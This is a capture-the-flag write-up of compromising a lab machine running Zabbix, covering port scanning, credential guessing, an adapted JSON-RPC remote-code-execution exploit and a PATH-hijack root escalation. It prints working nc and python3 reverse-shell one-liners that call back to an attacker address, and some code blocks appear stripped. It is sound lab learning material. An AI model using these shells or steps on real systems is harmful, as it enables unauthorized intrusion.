# nmap -Pn --open -T4 -sV -sC -p- 10.10.10.108Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-11 21:32 EDT
Nmap scan report for 10.10.10.108
Host is up (0.082s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| 2048 59:20:a3:a0:98:f2:a7:14:1e:08:e0:9b:81:72:99:0e (RSA)
| 256 aa:fe:25:f8:21:24:7c:fc:b5:4b:5f:05:24:69:4c:76 (ECDSA)
|_ 256 89:28:37:e2:b6:cc:d5:80:38:1f:b2:6a:3a:c3:a1:84 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
10050/tcp open tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
- HTTP (80/TCP) — A default Apache 2 page
Web Directory Enumeration (Gobuster)
As usual, I ran a quick
gobuster to see if I could discover more of the interesting files/folders on the web server.
# gobuster dir -u http://10.10.10.108 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
/zabbix— This redirects to the Zabbix application (an open-source software monitoring tool) login page.
Tried a default login
admin : zabbix but it didn’t work.
Zabbix User Identification
There was an option for “sign in as guest.” But nothing useful found for exploiting the application. Under the
/Monitoring/Latest data tab, however, I found an item called “ Zapper’s Backup Script” which may indicate a potential user name to the application.
zapper : zapper as a quick test, which seemed valid login; however, I got “GUI access disabled” error.
Even though I had a valid set of credentials, no access was bummer. I did some Google search around any public exploits for the Zabbix 3.0.21 application. I got the installed version from the
guest login session.
I found this Zabbix 2.2 < 3.0.3 API JSON-RPC Remote Code Execution exploit. This looked promising but I was still missing one item to use this exploit script, which was
Zabbix-cli Access → hostid Enumeration
Further research found that I could use
zabbix-cli to access the application.
# git clone https://github.com/unioslo/zabbix-cli.git
# cd zabbix-cli/
# ./setup.py install
# /bin/zabbix-cli-init -z http://10.10.10.108/zabbix
[INFO]: wrote config to '/root/.zabbix-cli/zabbix-cli.conf'# cat /root/.zabbix-cli/zabbix-cli.conf
zabbix_api_url = http://10.10.10.108/zabbix
cert_verify = ON[zabbix_config]
system_id = zabbix-ID
default_hostgroup = All-hosts
default_admin_usergroup = Zabbix-root
default_create_user_usergroup = All-users
default_notification_users_usergroup = All-notification-users
default_directory_exports = /root/zabbix_exports
default_export_format = XML
include_timestamp_export_filename = ON
use_colors = ON
use_auth_token_file = OFF
use_paging = OFF[logging]
logging = OFF
log_level = INFO
log_file = /root/.zabbix-cli/zabbix-cli.log
zapper : zapper)
Zabbix API JSON-RPC RCE #1
With the newly found
hostid value, I updated the exploit script. (You can use either of
10106 as the
Running the script, I successfully gained the initial RCE on the Zabbix box. But when I typed hostname command I got
4422a491d297 indicating this was a container environment.
I had no success to escape from the container, and it turned out to be a dead-end.
Zabbix API JSON-RPC RCE #2
Further research found that in Zabbix application, there are 2 locations to run a script: 1) Zabbix Agent; 2) Zabbix Server. Additionally, according the document, the Zabbix Server is a default location to run a script object (or command).
I updated the PoC exploit script to add
execute_on : 0 parameter to specify the location to run on Zabbix Agent.
This trick worked successfully to gain shell on the Zipper host this time.
Once I got the RCE on the Zipper box using the PoC script, I wanted to get a reverse shell for better access. I used the following
nc shell, but it was closing the
nc listener immediately for some reason.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.12 9001 >/tmp/f
So I used the following
python3 reverse shell, and it was working fine:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
zabbix → zapper (Hardcoded Credentials)
zapper's home directory, I found a script called
backup.sh which contained hardcoded password
Reusing that password , I was able to escalate to the
zapper user and read the
zapper → root (Hijack Binary)
In the home directory, I found a
zabbix-service. When I run it, it was pretty simple: start or stop.
Since it was
ELF 32-bit binary, I moved it over to my Kali and started to decompile it to understand what it does.
# nc on my Kali
root@kali:~/Documents/htb/box/zipper# nc -lvnp 9002 > zabbix-service# nc on Zabbix box
zapper@zipper:~/utils$ nc 10.10.14.12 9002 < zabbix-service
Then, I started a new project in Ghidra.
Ghidra easily decompiled the binary, and I could understand what it was doing.
systemctl daemon-reload && systemctl start zabbix-agent
systemctl stop zabbix-agent
Our attack path is now clear that:
- Create a fake
- Modify the
PATHvariable to where the fake
systemctlbinary is located at
- Run the
zabbix-service(suid binary) to trigger our fake binary to run
fake.c and moving it over to Zabbix box:
Everything was set now. Finally, when I ran the
zabbix-service, our fake
systemctl was triggered and opened up
root shell. And I could read the
Zipper was very fun and had some interesting attack vectors against Zabbix application. JSON RPC was interesting and thanks to the PoC script, it was pretty easy to exploit and learn what it does. However, it was more like OSCP-like box rather then OSWE-like box in my opinion.